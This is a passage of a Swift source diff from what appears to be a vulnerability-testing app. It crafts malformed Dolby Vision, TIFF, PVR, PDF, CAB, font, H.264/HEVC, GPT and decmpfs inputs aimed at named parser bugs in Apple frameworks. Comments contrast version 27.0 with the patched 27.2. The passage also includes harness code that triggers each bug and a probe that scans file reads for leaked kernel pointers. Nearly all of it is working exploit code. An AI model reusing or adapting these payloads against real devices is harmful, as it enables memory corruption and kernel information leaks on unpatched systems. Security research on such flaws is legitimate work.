+ for _ in 0..= payload.count ? 0x01 : 0x00) + raw += B.le16(UInt16(take)) + raw += B.le16(UInt16(~take & 0xFFFF)) + raw += Array(payload[offset..<(offset + take)]) + offset += take + } + raw += adler32(payload) + chunkBlobs.append([0x00] + raw) + } + + var offsets: [UInt32] = [] + var running: UInt32 = 0 + for blob in chunkBlobs { + offsets.append(running) + running += UInt32(blob.count) + } + offsets.append(running) + for o in offsets { out.append(contentsOf: B.le32(o)) } + _ = headerSize + for blob in chunkBlobs { out.append(contentsOf: blob) } + return out + } + + static func adler32(_ bytes: [UInt8]) -> [UInt8] { + var a: UInt32 = 1, b: UInt32 = 0 + for byte in bytes { + a = (a + UInt32(byte)) % 65521 + b = (b + a) % 65521 + } + return B.be32((b << 16) | a) + } +} + +// MARK: - Dolby Vision RPU + +enum RPUPayload { + + /// Build a Dolby Vision RP 2086 RPU byte sequence that drives + /// `hevcbridgeParseVdrDmDataPayloadExMetadataBlocks` past one of the three + /// fixed-capacity arrays (A: 4 × 28 B, B: 8 × 14 B, C: 5 × 36 B). + /// + /// The source research reconstructed the header grammar only through the entry + /// checks (magic / rpu_type / rpu_format, verified live on the macOS twin); the + /// remaining VDR structures are emitted here as a parameterised grammar probe so the + /// parser's own error receipt tells you how far it got. + static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data { + var bw = BitWriter() + bw.put(0x19, 8) // magic, byte 0 + bw.put(2, 6) // rpu_type = 2 (DOVI) + bw.put(0x12, 11) // rpu_format + bw.put(seed & 0x1F, 5) + bw.put(1, 4) // vdr_rpu_profile + bw.put(0, 4) // vdr_rpu_level + bw.put(0, 1) // vdr_seq_info_present_flag + bw.put(1, 1) // chroma_resampling_explicit_filter_flag + bw.put(2, 2) // coefficient_data_type + bw.put(1, 1) // el_spatial_resampling_filter_flag + bw.put(0, 1) // disable_residual_flag + bw.put(0, 4) // nln + bw.put(1, 2) // num_dm_data + // DM data head: class-2 ext block loop + bw.putExpGolomb(UInt32(blockCount)) + for i in 0.. Data { + let base = [UInt8](solidJPEG()) + guard base.count > 4 else { return solidJPEG() } + + var marker: [UInt8] = [0xFF, 0xE2] + marker += [UInt8((declaredLength >> 8) & 0xff), UInt8(declaredLength & 0xff)] + marker += B.ascii("ICC_PROFILE\u{0}") + marker += Array(repeating: 0x41, count: max(0, actual)) + + // insert before the trailing EOI + var out = Array(base.dropLast(2)) + out += marker + out += [0xFF, 0xD9] + return Data(out) + } + + /// A small solid-colour JPEG produced by the system encoder. + static func solidJPEG(size: Int = 32) -> Data { + let colorSpace = CGColorSpaceCreateDeviceRGB() + guard let ctx = CGContext(data: nil, width: size, height: size, bitsPerComponent: 8, + bytesPerRow: size * 4, space: colorSpace, + bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { + return Data(minimalSOI() + [0xFF, 0xD9]) + } + ctx.setFillColor(CGColor(red: 0.2, green: 0.6, blue: 0.9, alpha: 1)) + ctx.fill(CGRect(x: 0, y: 0, width: size, height: size)) + guard let image = ctx.makeImage() else { + return Data(minimalSOI() + [0xFF, 0xD9]) + } + let data = NSMutableData() + guard let dest = CGImageDestinationCreateWithData(data, "public.jpeg" as CFString, 1, nil) else { + return Data(minimalSOI() + [0xFF, 0xD9]) + } + CGImageDestinationAddImage(dest, image, nil) + guard CGImageDestinationFinalize(dest) else { + return Data(minimalSOI() + [0xFF, 0xD9]) + } + return data as Data + } +} + +extension TIFFPayload { + + /// Family B — a directory entry whose element count makes `count << log2(elemsize)` + /// wrap at 32 bits. The allocation shrinks to nothing while the conversion loop still + /// writes `count` entries. + static func dirEntryAllocWrap(count: UInt32 = 0x2000_0000, type: UInt16 = 6) -> Data { + var out = Data() + out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00]) + out.append(contentsOf: B.le32(8)) + out.append(contentsOf: B.le16(3)) + // width / height keep the reader interested + out.append(contentsOf: B.le16(256)) + out.append(contentsOf: B.le16(3)) + out.append(contentsOf: B.le32(1)) + out.append(contentsOf: B.le16(1) + B.le16(0)) + out.append(contentsOf: B.le16(257)) + out.append(contentsOf: B.le16(3)) + out.append(contentsOf: B.le32(1)) + out.append(contentsOf: B.le16(1) + B.le16(0)) + // the wrapped-count tag (SBYTE array, elemsize 1 — count alone is the multiplier) + out.append(contentsOf: B.le16(0x0100)) // ImageWidth-class tag reused as the carrier + out.append(contentsOf: B.le16(type)) + out.append(contentsOf: B.le32(count)) + out.append(contentsOf: B.le32(64)) // value offset + out.append(contentsOf: B.le32(0)) + out.append(contentsOf: [UInt8](repeating: 0x00, count: 64)) + return out + } + + /// Family K — PVR whose declared bits-per-pixel is smaller than the channel sum. + static func pvrUnderBpp(width: UInt32 = 64, height: UInt32 = 64) -> Data { + var out = Data() + out.append(contentsOf: B.le32(0x0352_5650)) // 'PVR' v3 + out.append(contentsOf: B.le32(0)) // flags + out.append(contentsOf: B.le32(0x0000_0000)) // pixel format (PVRTC-ish) + out.append(contentsOf: B.le32(0)) // colour space + out.append(contentsOf: B.le32(0)) // channel type + out.append(contentsOf: B.le32(height)) + out.append(contentsOf: B.le32(width)) + out.append(contentsOf: B.le32(1)) // depth + out.append(contentsOf: B.le32(1)) // num surfaces + out.append(contentsOf: B.le32(1)) // num faces + out.append(contentsOf: B.le32(1)) // mip count + out.append(contentsOf: B.le32(0)) // meta data size + // 4 channels of 8 bits declared, but bitsPerPixel below their sum + out.append(contentsOf: B.le32(8) + B.le32(8) + B.le32(8) + B.le32(8)) + out.append(contentsOf: B.le32(8)) // bitsPerPixel — too small + out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0)) + out.append(contentsOf: [UInt8](repeating: 0x33, count: 4096)) + return out + } +} + +extension PDFPayload { + + /// Family C — a page whose rasterized dimensions exceed the decode buffer the caller + /// supplied. 27.0 rasterizes with no size validation and writes past the destination; + /// 27.2 computes `width * bpp` and rejects with "decode buffer too small". + static func rasterOverrun(width: Int = 4000, height: Int = 4000) -> Data { + var pdf = PDFBuilder() + pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>") + pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") + pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 \(width) \(height)] /Resources << >> /Contents 4 0 R >>") + let ops = "0 0 1 rg 0 0 \(width) \(height) re f" + pdf.add(4, "<< /Length \(ops.utf8.count) >>", B.ascii(ops)) + return pdf.data() + } +} + +// MARK: - CAB (LZX match before initialised history) + +enum CABPayload { + + /// Build a minimal Microsoft Cabinet with one folder and one CFDATA block whose LZX + /// stream opens with a match before any window history exists. + /// + /// 27.0 computes `copy_pos = (w_pos - copy_pos) & w_mask` and copies straight out of an + /// uninitialised window; 27.2 adds `copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED`. + static func lzxEarlyMatch() -> Data { + var out = Data() + + let cfdataPayload: [UInt8] = [ + // CFDATA header is written separately below; this is the LZX block itself. + 0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes + 0x1E, // main tree: single match-ish symbol stream + 0x00, 0x00, // length footer + 0x00, 0x00, 0x00, 0x00, // offset + ] + + var cfdata = Data() + cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked) + cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count))) + cfdata.append(contentsOf: B.le16(0)) // reserved + cfdata.append(contentsOf: cfdataPayload) + + var file = Data() + file.append(contentsOf: B.ascii("Cinder")) + file.append(contentsOf: B.le32(0)) // size + file.append(contentsOf: B.le32(0)) // offset in folder + file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive + file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time + file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA" + file.append(0) + + let headerSize = 36 + let folderSize = 8 + let fileSize = file.count + let dataSize = cfdata.count + let total = headerSize + folderSize + fileSize + dataSize + + out.append(contentsOf: B.ascii("MSCF")) + out.append(contentsOf: B.le32(0)) // reserved1 + out.append(contentsOf: B.le32(UInt32(total))) // cabinet size + out.append(contentsOf: B.le32(0)) // reserved2 + out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset + out.append(contentsOf: B.le32(0)) // reserved3 + out.append(contentsOf: [3, 1]) // version minor, major + out.append(contentsOf: B.le16(1)) // folder count + out.append(contentsOf: B.le16(1)) // file count + out.append(contentsOf: B.le16(0)) // flags + out.append(contentsOf: B.le16(0x1234)) // set id + out.append(contentsOf: B.le16(0)) // cabinet index + + // CFFOLDER + out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset + out.append(contentsOf: B.le16(1)) // data block count + out.append(contentsOf: B.le16(3)) // compression type 3 = LZX + out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB) + + out.append(contentsOf: file) + out.append(contentsOf: cfdata) + return out + } +} + +// MARK: - CoreText GDEF attach list + +enum FontPayload { + + /// A TrueType font whose GDEF LigCaretList chases a CaretValue offset far past the table. + /// 27.0 follows the chain with no end-check; 27.2 clamps against the GDEF table slice. + /// Layout: GDEF header 12 B, LigCaretList at 12, coverage at 24, LigGlyph at 28. + static func gdefCaretChase() -> Data { + var tables: [(String, [UInt8])] = [] + + // head + var head = [UInt8](repeating: 0, count: 54) + head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00 + head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00 + head[12] = 0x5F; head[13] = 0x0F // magic + tables.append(("head", head)) + + // hhea + var hhea = [UInt8](repeating: 0, count: 36) + hhea[0] = 0x00; hhea[1] = 0x01 + hhea[34] = 0x00; hhea[35] = 0x00 + tables.append(("hhea", hhea)) + + // maxp + var maxp = [UInt8](repeating: 0, count: 32) + maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00 + maxp[4] = 0x00; maxp[5] = 0x01 + tables.append(("maxp", maxp)) + + // hmtx + tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00])) + + // loca (short format, 2 glyphs) + tables.append(("loca", [0x00, 0x00, 0x00, 0x04])) + + // glyf + tables.append(("glyf", [0x00, 0x00, 0x00, 0x00])) + + // cmap (format 4, minimal) + var cmap = [UInt8]() + cmap += B.be16(0) + B.be16(1) + cmap += B.be16(3) + B.be16(1) + B.be32(12) + cmap += B.be16(4) + B.be16(24) + B.be16(0) + cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0) + cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0) + tables.append(("cmap", cmap)) + + // GDEF with a LigCaretList whose CaretValue offset runs past the table + var gdef = [UInt8]() + gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0 + gdef += B.be16(0x0000) // glyphClassDefOffset — absent + gdef += B.be16(0x0000) // attachListOffset — absent + gdef += B.be16(0x000C) // ligCaretListOffset → 12 + gdef += B.be16(0x0000) // markAttachClassDefOffset — absent + // LigCaretList at 12 + gdef += B.be16(0x000C) // coverageOffset → 24 + gdef += B.be16(0x0001) // ligGlyphCount + gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28 + gdef += B.be16(0x0000) // pad + // Coverage at 24: format 1, glyph 1 + gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001) + // LigGlyph at 28 + gdef += B.be16(0x0001) // caretCount + gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table + tables.append(("GDEF", gdef)) + + // --- assemble + let numTables = UInt16(tables.count) + var header = Data() + header.append(contentsOf: B.be32(0x0001_0000)) + header.append(contentsOf: B.be16(numTables)) + var searchRange: UInt16 = 1 + var entrySelector: UInt16 = 0 + while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 } + searchRange *= 16 + header.append(contentsOf: B.be16(searchRange)) + header.append(contentsOf: B.be16(entrySelector)) + header.append(contentsOf: B.be16(numTables * 16 - searchRange)) + + var body = Data() + var offset = 12 + Int(numTables) * 16 + var records = Data() + var blobs = Data() + for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) { + records.append(contentsOf: B.ascii(tag)) + records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers) + records.append(contentsOf: B.be32(UInt32(offset))) + records.append(contentsOf: B.be32(UInt32(bytes.count))) + var padded = bytes + while padded.count % 4 != 0 { padded.append(0) } + blobs.append(contentsOf: padded) + offset += padded.count + } + body.append(records) + body.append(blobs) + + var out = Data() + out.append(header) + out.append(body) + return out + } +} + +// MARK: - H.264 / HEVC parameter-set probes + +enum VideoPayload { + + /// An Annex-B H.264 access unit whose slice count far exceeds the decoder plugin's cap. + /// 27.0's `AVD.videodecoder` accepts an unbounded slice count; 27.2 rejects with + /// "too many slices!". + static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data { + var out = Data() + out.append(contentsOf: [0, 0, 0, 1]) + // SPS + var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E] + // exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ... + sps += [0xE8, 0x38, 0x00] + // fake but structurally plausible; the decoder's own error tells us how far it got + sps += [UInt8](repeating: 0x00, count: 8) + out.append(contentsOf: sps) + out.append(contentsOf: [0, 0, 0, 1]) + out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS + for i in 0.. Data { + var out = Data() + out.append(contentsOf: [0, 0, 0, 1]) + // VPS NAL with a two-byte header carrying an out-of-range layer id + out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60]) + out.append(contentsOf: [0, 0, 0, 1]) + out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00]) + out.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) + return out + } +} + +// MARK: - GPT (IOStorageFamily partition-name scan) + +enum GPTPayload { + + /// A protective-MBR + GPT whose partition-name field declares a 0x48-byte UTF-16 string + /// while the entry only has room for 0x24. 27.0's name scan bound is 0x48 → 72-byte + /// kernel-heap OOB read; 27.2 tightens it to 0x24. + static func oversizedName(entryCount: Int = 4) -> Data { + let sector = 512 + var out = Data() + + // protective MBR + var mbr = [UInt8](repeating: 0, count: sector) + mbr[446 + 4] = 0xEE + mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF + mbr[446 + 8] = 0x01 + let totalSectors: UInt32 = 34 + mbr[446 + 12] = UInt8(totalSectors & 0xff) + mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff) + mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff) + mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff) + mbr[510] = 0x55; mbr[511] = 0xAA + out.append(contentsOf: mbr) + + // primary GPT header + var hdr = [UInt8](repeating: 0, count: sector) + hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20 + hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54 + hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00 + let headerSize: UInt32 = 92 + hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0 + hdr[24] = 2 // my LBA + hdr[32] = 33 // alternate LBA + hdr[40] = 2 // first usable + hdr[48] = 32 // last usable + hdr[72] = 2 // entry array LBA + let entries: UInt32 = UInt32(entryCount) + hdr[80] = UInt8(entries & 0xff) + hdr[84] = 128 // entry size + out.append(contentsOf: hdr) + + // partition entries + var array = Data() + for i in 0..> 8) & 0xff) + } + array.append(contentsOf: entry) + } + out.append(array) + while out.count % sector != 0 { out.append(0) } + return out + } + + static func describe(_ image: Data) -> [String] { + var lines: [String] = [] + guard image.count >= 1024 else { return [tl("镜像过短")] } + let sig = [UInt8](image[512..<520]) + guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else { + return [tl("无 GPT 签名")] + } + let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } + let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } + let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } + lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) + let base = Int(entryLBA) * 512 + for i in 0.. String { + guard let provider = CGDataProvider(data: data as CFData) else { + throw LabError(message: tl("CGDataProvider 创建失败")) + } + guard let document = CGPDFDocument(provider) else { + throw LabError(message: tl("CGPDFDocument 解析失败(文件被拒绝)")) + } + guard let pg = document.page(at: page) else { + throw LabError(message: tl("PDF 无第 ") + "\(page)" + tl(" 页")) + } + let bytesPerRow = pixels * 4 + let buffer = UnsafeMutableRawPointer.allocate(byteCount: bytesPerRow * pixels, alignment: 16) + defer { buffer.deallocate() } + guard let ctx = CGContext(data: buffer, width: pixels, height: pixels, + bitsPerComponent: 8, bytesPerRow: bytesPerRow, + space: CGColorSpaceCreateDeviceRGB(), + bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { + throw LabError(message: tl("CGBitmapContext 创建失败")) + } + ctx.setFillColor(CGColor(red: 1, green: 1, blue: 1, alpha: 1)) + ctx.fill(CGRect(x: 0, y: 0, width: pixels, height: pixels)) + + let start = CFAbsoluteTimeGetCurrent() + // === trigger === + ctx.drawPDFPage(pg) + let ms = Int((CFAbsoluteTimeGetCurrent() - start) * 1000) + + // sample the middle of the bitmap to prove the page actually rasterised + let mid = bytesPerRow * (pixels / 2) + (pixels / 2) * 4 + let ptr = buffer.assumingMemoryBound(to: UInt8.self) + let sample = "\(ptr[mid]),\(ptr[mid + 1]),\(ptr[mid + 2]),\(ptr[mid + 3])" + return tl("页面渲染完成 ") + "\(ms)" + tl(" ms;中心像素 RGBA = ") + "\(sample)" + } + + // ---- ImageIO decode + + struct ImageResult { + var frameCount: Int + var decoded: Bool + var width: Int + var height: Int + var properties: String + var thumbnail: Bool + } + + static func decodeImage(_ data: Data, wantThumbnail: Bool = false) throws -> ImageResult { + guard let source = CGImageSourceCreateWithData(data as CFData, nil) else { + throw LabError(message: tl("CGImageSource 拒绝该数据")) + } + let count = CGImageSourceGetCount(source) + var width = 0, height = 0, decoded = false, thumbOK = false + var props = "" + + if let dict = CGImageSourceCopyPropertiesAtIndex(source, 0, nil) as? [String: Any] { + width = dict[kCGImagePropertyPixelWidth as String] as? Int ?? 0 + height = dict[kCGImagePropertyPixelHeight as String] as? Int ?? 0 + props = dict.keys.sorted().prefix(8).joined(separator: ", ") + if let exif = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] { + if let comment = exif[kCGImagePropertyExifUserComment as String] as? Data { + props += " | UserComment(\(comment.count)B)=\(comment.prefix(24).map { String(format: "%02x", $0) }.joined())" + } else if let comment = exif[kCGImagePropertyExifUserComment as String] as? String { + props += " | UserComment=\(comment.prefix(40))" + } + } + if let gps = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] { + props += " | GPS keys=\(gps.keys.count)" + } + } + + if let image = CGImageSourceCreateImageAtIndex(source, 0, nil) { + decoded = true + width = image.width + height = image.height + } + if wantThumbnail { + let opts: [CFString: Any] = [ + kCGImageSourceCreateThumbnailFromImageAlways: true, + kCGImageSourceThumbnailMaxPixelSize: 256, + ] + thumbOK = CGImageSourceCreateThumbnailAtIndex(source, 0, opts as CFDictionary) != nil + } + return ImageResult(frameCount: count, decoded: decoded, width: width, height: height, + properties: props, thumbnail: thumbOK) + } + + // ---- libarchive + + enum Archive { + typealias NewFn = @convention(c) () -> UnsafeMutableRawPointer? + typealias Int1Fn = @convention(c) (UnsafeMutableRawPointer?) -> Int32 + typealias OpenMemFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeRawPointer?, Int) -> Int32 + typealias NextFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeMutablePointer?) -> Int32 + typealias PathFn = @convention(c) (UnsafeMutableRawPointer?) -> UnsafePointer? + typealias SizeFn = @convention(c) (UnsafeMutableRawPointer?) -> Int64 + typealias FreeFn = @convention(c) (UnsafeMutableRawPointer?) -> Int32 + typealias ExtractFn = @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, Int32) -> Int32 + + struct Bindings { + let new: NewFn + let supportFilterAll: Int1Fn + let supportFormatAll: Int1Fn + let openMemory: OpenMemFn + let nextHeader: NextFn + let pathname: PathFn + let size: SizeFn + let free: FreeFn + let extract: ExtractFn + } + + static func bind() -> Bindings? { + guard let h = DyLib.shared.handle("/usr/lib/libarchive.2.dylib") else { return nil } + guard let s1 = dlsym(h, "archive_read_new"), + let s2 = dlsym(h, "archive_read_support_filter_all"), + let s3 = dlsym(h, "archive_read_support_format_all"), + let s4 = dlsym(h, "archive_read_open_memory"), + let s5 = dlsym(h, "archive_read_next_header"), + let s6 = dlsym(h, "archive_entry_pathname"), + let s7 = dlsym(h, "archive_entry_size"), + let s8 = dlsym(h, "archive_read_free"), + let s9 = dlsym(h, "archive_read_extract") else { return nil } + return Bindings( + new: unsafeBitCast(s1, to: NewFn.self), + supportFilterAll: unsafeBitCast(s2, to: Int1Fn.self), + supportFormatAll: unsafeBitCast(s3, to: Int1Fn.self), + openMemory: unsafeBitCast(s4, to: OpenMemFn.self), + nextHeader: unsafeBitCast(s5, to: NextFn.self), + pathname: unsafeBitCast(s6, to: PathFn.self), + size: unsafeBitCast(s7, to: SizeFn.self), + free: unsafeBitCast(s8, to: FreeFn.self), + extract: unsafeBitCast(s9, to: ExtractFn.self)) + } + + static func list(_ data: Data) throws -> (entries: [String], status: String) { + guard let b = bind() else { + throw LabError(message: tl("libarchive.2.dylib 无法 dlopen(沙盒或路径受限)")) + } + guard let handle = b.new() else { throw LabError(message: tl("archive_read_new 失败")) } + defer { _ = b.free(handle) } + _ = b.supportFilterAll(handle) + _ = b.supportFormatAll(handle) + + let rc = data.withUnsafeBytes { raw -> Int32 in + guard let base = raw.baseAddress else { return -1 } + return b.openMemory(handle, base, data.count) + } + guard rc == 0 else { throw LabError(message: "archive_read_open_memory rc=\(rc)") } + + var entries: [String] = [] + var status = "" + while true { + var entry: UnsafeMutableRawPointer? + let r = b.nextHeader(handle, &entry) + if r == 0, let e = entry { + let name = b.pathname(e).map { String(cString: $0) } ?? "" + entries.append("\(name) (\(b.size(e)) B)") + if entries.count > 64 { break } + } else if r == 1 { + status = "EOF" + break + } else { + status = "next_header rc=\(r)" + break + } + } + return (entries, status) + } + + /// Extract every entry into `destination`. Uses archive_read_extract so IPA, DEB, + /// tar and zip all unpack through the same path — no external binary needed. + static func extractAll(_ data: Data, to destination: URL) -> (count: Int, errors: Int, status: String) { + let fm = FileManager.default + try? fm.createDirectory(at: destination, withIntermediateDirectories: true) + guard let b = bind() else { return (0, 0, tl("libarchive 不可用")) } + guard let handle = b.new() else { return (0, 0, tl("archive_read_new 失败")) } + defer { _ = b.free(handle) } + _ = b.supportFilterAll(handle) + _ = b.supportFormatAll(handle) + let rc = data.withUnsafeBytes { raw -> Int32 in + guard let base = raw.baseAddress else { return -1 } + return b.openMemory(handle, base, data.count) + } + guard rc == 0 else { return (0, 0, "open_memory rc=\(rc)") } + + let previous = fm.currentDirectoryPath + fm.changeCurrentDirectoryPath(destination.path) + defer { fm.changeCurrentDirectoryPath(previous) } + + var count = 0 + var errors = 0 + while true { + var entry: UnsafeMutableRawPointer? + let r = b.nextHeader(handle, &entry) + if r != 0 { break } + guard let e = entry else { break } + // ARCHIVE_EXTRACT_TIME | PERM | SECURE_SYMLINKS | SECURE_NODOTDOT. + // NOT NO_AUTODIR (0x0400) — archives without explicit directory entries + // need the parents created for them. + let flags: Int32 = 0x0004 | 0x0002 | 0x0100 | 0x0200 + if b.extract(handle, e, flags) == 0 { count += 1 } else { errors += 1 } + if count + errors > 20000 { break } + } + return (count, errors, tl("完成")) + } + } + + // ---- CoreMedia Dolby Vision RPU parser + + static func rpuParse(_ payload: Data, version: inout UInt32, level: inout UInt32) throws -> Int32 { + guard let sym = DyLib.shared.symbol("CMGetDMVersionLevelFromRPU", in: [ + "/System/Library/Frameworks/CoreMedia.framework/CoreMedia" + ]) else { + throw LabError(message: tl("CMGetDMVersionLevelFromRPU 未导出")) + } + typealias Fn = @convention(c) (UnsafePointer?, Int, + UnsafeMutablePointer?, UnsafeMutablePointer?) -> Int32 + let fn = unsafeBitCast(sym, to: Fn.self) + var v: UInt32 = 0 + var l: UInt32 = 0 + let rc: Int32 = payload.withUnsafeBytes { raw in + guard let base = raw.baseAddress?.assumingMemoryBound(to: UInt8.self) else { return -1 } + return fn(base, payload.count, &v, &l) + } + version = v + level = l + return rc + } + + // ---- AppleFSCompression (decmpfs) round trip + + struct DecmpfsResult { + var wroteXattr: Bool + var readBack: Int + var kernelPointerHits: Int + var samples: [String] + var note: String + } + + static func decmpfsProbe(at url: URL, uncompressed: Int, chunks: Int, producePerChunk: Int) -> DecmpfsResult { + let fm = FileManager.default + try? fm.removeItem(at: url) + fm.createFile(atPath: url.path, contents: Data(repeating: 0x41, count: max(64, uncompressed))) + + let payload = Decmpfs.chunkedXattr(uncompressedSize: uncompressed, + chunkCount: chunks, + producePerChunk: producePerChunk) + let ok = payload.withUnsafeBytes { raw -> Bool in + guard let base = raw.baseAddress else { return false } + return setxattr(url.path, "com.apple.decmpfs", base, payload.count, 0, 0) == 0 + } + if !ok { + return DecmpfsResult(wroteXattr: false, readBack: 0, kernelPointerHits: 0, samples: [], + note: tl("setxattr 失败 errno=") + "\(errno)") + } + + guard let back = try? Data(contentsOf: url) else { + return DecmpfsResult(wroteXattr: true, readBack: 0, kernelPointerHits: 0, samples: [], + note: tl("读取失败 errno=") + "\(errno)") + } + + // scan for kernel-space pointers in whatever the kernel handed back + var hits = 0 + var samples: [String] = [] + let bytes = [UInt8](back) + if bytes.count >= 8 { + var i = 0 + while i + 8 <= bytes.count { + var v: UInt64 = 0 + for k in 0..<8 { v |= UInt64(bytes[i + k]) << (8 * UInt64(k)) } + if v >= 0xFFFF_FFE0_0000_0000 { + hits += 1 + if samples.count < 8 { samples.append(String(format: "0x%016llx @ +0x%x", v, i)) } + } + i += 8 + } + } + return DecmpfsResult(wroteXattr: true, readBack: back.count, kernelPointerHits: hits, + samples: samples, note: tl("读取 ") + "\(back.count)" + tl(" 字节")) + } + + // ---- FontParser + + static func loadFont(_ data: Data) throws -> String { + guard let provider = CGDataProvider(data: data as CFData) else { + throw LabError(message: tl("CGDataProvider 创建失败")) + } + guard let font = CGFont(provider) else { + throw LabError(message: tl("CGFont 拒绝该字体数据")) + } + let name = font.fullName as String? ?? font.postScriptName as String? ?? "" + let glyphCount = font.numberOfGlyphs + + let ctFont = CTFontCreateWithGraphicsFont(font, 96, nil, nil) + let pixels = 256 + let bytesPerRow = pixels * 4 + let buffer = UnsafeMutableRawPointer.allocate(byteCount: bytesPerRow * pixels, alignment: 16) + defer { buffer.deallocate() } + guard let ctx = CGContext(data: buffer, width: pixels, height: pixels, + bitsPerComponent: 8, bytesPerRow: bytesPerRow, + space: CGColorSpaceCreateDeviceRGB(), + bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { + throw LabError(message: tl("上下文创建失败")) + } + // drawing forces the charstring interpreter to run + for g in 1.. String { + let start = CFAbsoluteTimeGetCurrent() + let asset = MDLAsset(url: url) + let ms = Int((CFAbsoluteTimeGetCurrent() - start) * 1000) + return tl("MDLAsset 载入完成 ") + "\(ms)" + tl(" ms,对象数 ") + "\(asset.count)" + } + + // ---- CoreHaptics / AVHaptic + + static func hapticCustomAudio(frameCount: Int, declaredBytes: Int) -> String { + var report: [String] = [] + let engine: CHHapticEngine + do { engine = try CHHapticEngine() } catch { + return tl("CHHapticEngine 初始化失败: ") + "\(error.localizedDescription)" + } + do { + try engine.start() + report.append(tl("CHHapticEngine 启动成功")) + } catch { + return tl("引擎启动失败: ") + "\(error.localizedDescription)" + } + + // Build a mono 16-bit WAV with exactly `frameCount` samples and register it as an + // audio resource. The declared byte count is what the server is asked to trust. + let sampleRate = 48000 + let frames = max(1, frameCount) + var wav: [UInt8] = [] + wav += B.ascii("RIFF") + wav += B.le32(UInt32(36 + frames * 2)) + wav += B.ascii("WAVEfmt ") + wav += B.le32(16) + B.le16(1) + B.le16(1) + wav += B.le32(UInt32(sampleRate)) + B.le32(UInt32(sampleRate * 2)) + wav += B.le16(2) + B.le16(16) + wav += B.ascii("data") + B.le32(UInt32(frames * 2)) + wav += [UInt8](repeating: 0, count: frames * 2) + + let url = FileManager.default.temporaryDirectory.appendingPathComponent("cinder_haptic.wav") + try? Data(wav).write(to: url) + + var resourceID: CHHapticAudioResourceID = 0 + do { + resourceID = try engine.registerAudioResource(url, options: [AnyHashable: Any]()) + } catch { + report.append(tl("registerAudioResource 失败: ") + "\(error.localizedDescription)") + engine.stop() + return report.joined(separator: "\n") + } + report.append(tl("音频资源 id=") + "\(resourceID)" + tl(" frames=") + "\(frames)" + tl(" declaredBytes=") + "\(declaredBytes)") + + do { + let event = CHHapticEvent(audioResourceID: resourceID, parameters: [], + relativeTime: 0, duration: 0.25) + let pattern = try CHHapticPattern(events: [event], parameters: []) + let player = try engine.makePlayer(with: pattern) + try player.start(atTime: 0) + report.append(tl("audioCustom 事件已投递")) + Thread.sleep(forTimeInterval: 0.4) + engine.stop() + report.append(tl("引擎已停止")) + } catch { + report.append(tl("事件投递失败: ") + "\(error.localizedDescription)") + engine.stop() + } + return report.joined(separator: "\n") + } + + // ---- AudioCodecs probes + + static func audioConverter(format: UInt32, sampleRate: Double, channels: UInt32) -> String { + var 